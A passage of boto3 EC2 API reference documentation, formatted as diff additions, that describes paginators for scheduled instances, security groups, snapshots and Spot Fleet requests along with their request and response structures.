'AvailabilityZone': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'HourlyPrice': 'string', + 'InstanceCount': 123, + 'InstanceType': 'string', + 'NetworkPlatform': 'string', + 'NextSlotStartTime': datetime(2015, 1, 1), + 'Platform': 'string', + 'PreviousSlotEndTime': datetime(2015, 1, 1), + 'Recurrence': { + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDaySet': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + }, + 'ScheduledInstanceId': 'string', + 'SlotDurationInHours': 123, + 'TermEndDate': datetime(2015, 1, 1), + 'TermStartDate': datetime(2015, 1, 1), + 'TotalScheduledInstanceHours': 123 + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeScheduledInstances. + + - **ScheduledInstanceSet** _(list) --_ + + Information about the Scheduled Instances. + + - _(dict) --_ + + Describes a Scheduled Instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + - **CreateDate** _(datetime) --_ + + The date when the Scheduled Instance was purchased. + + - **HourlyPrice** _(string) --_ + + The hourly price for a single instance. + + - **InstanceCount** _(integer) --_ + + The number of instances. + + - **InstanceType** _(string) --_ + + The instance type. + + - **NetworkPlatform** _(string) --_ + + The network platform (EC2-Classic or EC2-VPC ). + + - **NextSlotStartTime** _(datetime) --_ + + The time for the next schedule to start. + + - **Platform** _(string) --_ + + The platform (Linux/UNIX or Windows ). + + - **PreviousSlotEndTime** _(datetime) --_ + + The time that the previous schedule ended or will end. + + - **Recurrence** _(dict) --_ + + The schedule recurrence. + + - **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + - **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of frequency . For example, every 2 weeks or every 2 months. + + - **OccurrenceDaySet** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). + + - _(integer) --_ + - **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. + + - **OccurrenceUnit** _(string) --_ + + The unit for occurrenceDaySet (DayOfWeek or DayOfMonth ). + + - **ScheduledInstanceId** _(string) --_ + + The Scheduled Instance ID. + + - **SlotDurationInHours** _(integer) --_ + + The number of hours in the schedule. + + - **TermEndDate** _(datetime) --_ + + The end date for the Scheduled Instance. + + - **TermStartDate** _(datetime) --_ + + The start date for the Scheduled Instance. + + - **TotalScheduledInstanceHours** _(integer) --_ + + The total number of hours for a single instance for the entire term. + + +_class_ EC2.Paginator.DescribeSecurityGroups + +paginator = client.get_paginator('describe_security_groups') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. If using multiple filters for rules, the results include security groups for which any combination of rules - not necessarily a single rule - match all filters. + + - description - The description of the security group. + - egress.ip-permission.cidr - An IPv4 CIDR block for an outbound security group rule. + - egress.ip-permission.from-port - For an outbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + - egress.ip-permission.group-id - The ID of a security group that has been referenced in an outbound security group rule. + - egress.ip-permission.group-name - The name of a security group that has been referenced in an outbound security group rule. + - egress.ip-permission.ipv6-cidr - An IPv6 CIDR block for an outbound security group rule. + - egress.ip-permission.prefix-list-id - The ID of a prefix list to which a security group rule allows outbound access. + - egress.ip-permission.protocol - The IP protocol for an outbound security group rule (tcp | udp | icmp or a protocol number). + - egress.ip-permission.to-port - For an outbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + - egress.ip-permission.user-id - The ID of an AWS account that has been referenced in an outbound security group rule. + - group-id - The ID of the security group. + - group-name - The name of the security group. + - ip-permission.cidr - An IPv4 CIDR block for an inbound security group rule. + - ip-permission.from-port - For an inbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + - ip-permission.group-id - The ID of a security group that has been referenced in an inbound security group rule. + - ip-permission.group-name - The name of a security group that has been referenced in an inbound security group rule. + - ip-permission.ipv6-cidr - An IPv6 CIDR block for an inbound security group rule. + - ip-permission.prefix-list-id - The ID of a prefix list from which a security group rule allows inbound access. + - ip-permission.protocol - The IP protocol for an inbound security group rule (tcp | udp | icmp or a protocol number). + - ip-permission.to-port - For an inbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + - ip-permission.user-id - The ID of an AWS account that has been referenced in an inbound security group rule. + - owner-id - The AWS account ID of the owner of the security group. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC specified when the security group was created. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + - _(string) --_ +- **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SecurityGroups': [ + { + 'Description': 'string', + 'GroupName': 'string', + 'IpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'OwnerId': 'string', + 'GroupId': 'string', + 'IpPermissionsEgress': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **SecurityGroups** _(list) --_ + + Information about the security groups. + + - _(dict) --_ + + Describes a security group + + - **Description** _(string) --_ + + A description of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **IpPermissions** _(list) --_ + + The inbound rules associated with the security group. + + - _(dict) --_ + + Describes a set of permissions for a security group rule. + + - **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + - **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + - **IpRanges** _(list) --_ + + The IPv4 ranges. + + - _(dict) --_ + + Describes an IPv4 range. + + - **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + - **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + - **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + - _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + - **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + - **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + - **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + - _(dict) --_ + + Describes a prefix list ID. + + - **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + - **PrefixListId** _(string) --_ + + The ID of the prefix. + + - **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + - **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + - _(dict) --_ + + Describes a security group and AWS account ID pair. + + - **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + - **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + - **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + - **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **IpPermissionsEgress** _(list) --_ + + [VPC only] The outbound rules associated with the security group. + + - _(dict) --_ + + Describes a set of permissions for a security group rule. + + - **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + - **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + - **IpRanges** _(list) --_ + + The IPv4 ranges. + + - _(dict) --_ + + Describes an IPv4 range. + + - **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + - **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + - **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + - _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + - **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + - **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + - **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + - _(dict) --_ + + Describes a prefix list ID. + + - **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + - **PrefixListId** _(string) --_ + + The ID of the prefix. + + - **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + - **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + - _(dict) --_ + + Describes a security group and AWS account ID pair. + + - **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + - **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + - **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + - **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + - **Tags** _(list) --_ + + Any tags assigned to the security group. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VpcId** _(string) --_ + + [VPC only] The ID of the VPC for the security group. + + +_class_ EC2.Paginator.DescribeSnapshots + +paginator = client.get_paginator('describe_snapshots') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - description - A description of the snapshot. + - encrypted - Indicates whether the snapshot is encrypted (true | false ) + - owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - progress - The progress of the snapshot, as a percentage (for example, 80%). + - snapshot-id - The snapshot ID. + - start-time - The time stamp when the snapshot was initiated. + - status - The status of the snapshot (pending | completed | error ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - volume-id - The ID of the volume the snapshot is for. + - volume-size - The size of the volume, in GiB. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + - _(string) --_ +- **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + - _(string) --_ +- **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Snapshots': [ + { + 'DataEncryptionKeyId': 'string', + 'Description': 'string', + 'Encrypted': True|False, + 'KmsKeyId': 'string', + 'OwnerId': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'StartTime': datetime(2015, 1, 1), + 'State': 'pending'|'completed'|'error', + 'StateMessage': 'string', + 'VolumeId': 'string', + 'VolumeSize': 123, + 'OwnerAlias': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Snapshots** _(list) --_ + + Information about the snapshots. + + - _(dict) --_ + + Describes a snapshot. + + - **DataEncryptionKeyId** _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + - **Description** _(string) --_ + + The description for the snapshot. + + - **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + - **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + - **OwnerId** _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + - **Progress** _(string) --_ + + The progress of the snapshot, as a percentage. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + - **StartTime** _(datetime) --_ + + The time stamp when the snapshot was initiated. + + - **State** _(string) --_ + + The snapshot state. + + - **StateMessage** _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + - **VolumeId** _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + - **OwnerAlias** _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + - **Tags** _(list) --_ + + Any tags assigned to the snapshot. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeSpotFleetInstances + +paginator = client.get_paginator('describe_spot_fleet_instances') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_spot_fleet_instances()](#EC2.Client.describe_spot_fleet_instances "EC2.Client.describe_spot_fleet_instances"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotFleetInstances) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + SpotFleetRequestId='string', + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SpotFleetRequestId** (_string_) -- + + **[REQUIRED]** + + The ID of the Spot Fleet request. + +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ActiveInstances': [ + { + 'InstanceId': 'string', + 'InstanceType': 'string', + 'SpotInstanceRequestId': 'string', + 'InstanceHealth': 'healthy'|'unhealthy' + }, + ], + 'SpotFleetRequestId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeSpotFleetInstances. + + - **ActiveInstances** _(list) --_ + + The running instances. This list is refreshed periodically and might be out of date. + + - _(dict) --_ + + Describes a running instance in a Spot Fleet. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceType** _(string) --_ + + The instance type. + + - **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + - **InstanceHealth** _(string) --_ + + The health status of the instance. If the status of either the instance status check or the system status check is impaired , the health status of the instance is unhealthy . Otherwise, the health status is healthy . + + - **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + +_class_ EC2.Paginator.DescribeSpotFleetRequests + +paginator = client.get_paginator('describe_spot_fleet_requests') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_spot_fleet_requests()](#EC2.Client.describe_spot_fleet_requests "EC2.Client.describe_spot_fleet_requests"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotFleetRequests) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + SpotFleetRequestIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SpotFleetRequestIds** (_list_) -- + + The IDs of the Spot Fleet requests. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotFleetRequestConfigs': [ + { + 'ActivityStatus': 'error'|'pending_fulfillment'|'pending_termination'|'fulfilled', + 'CreateTime': datetime(2015, 1, 1), + 'SpotFleetRequestConfig': { + 'AllocationStrategy': 'lowestPrice'|'diversified'|'capacityOptimized', + 'OnDemandAllocationStrategy': 'lowestPrice'|'prioritized', + 'SpotMaintenanceStrategies': { + 'CapacityRebalance': { + 'ReplacementStrategy': 'launch' + } + }, + 'ClientToken': 'string', + 'ExcessCapacityTerminationPolicy': 'noTermination'|'default', + 'FulfilledCapacity': 123.0, + 'OnDemandFulfilledCapacity': 123.0, + 'IamFleetRole': 'string', + 'LaunchSpecifications': [ + { + 'SecurityGroups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'AddressingType': 'string', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2x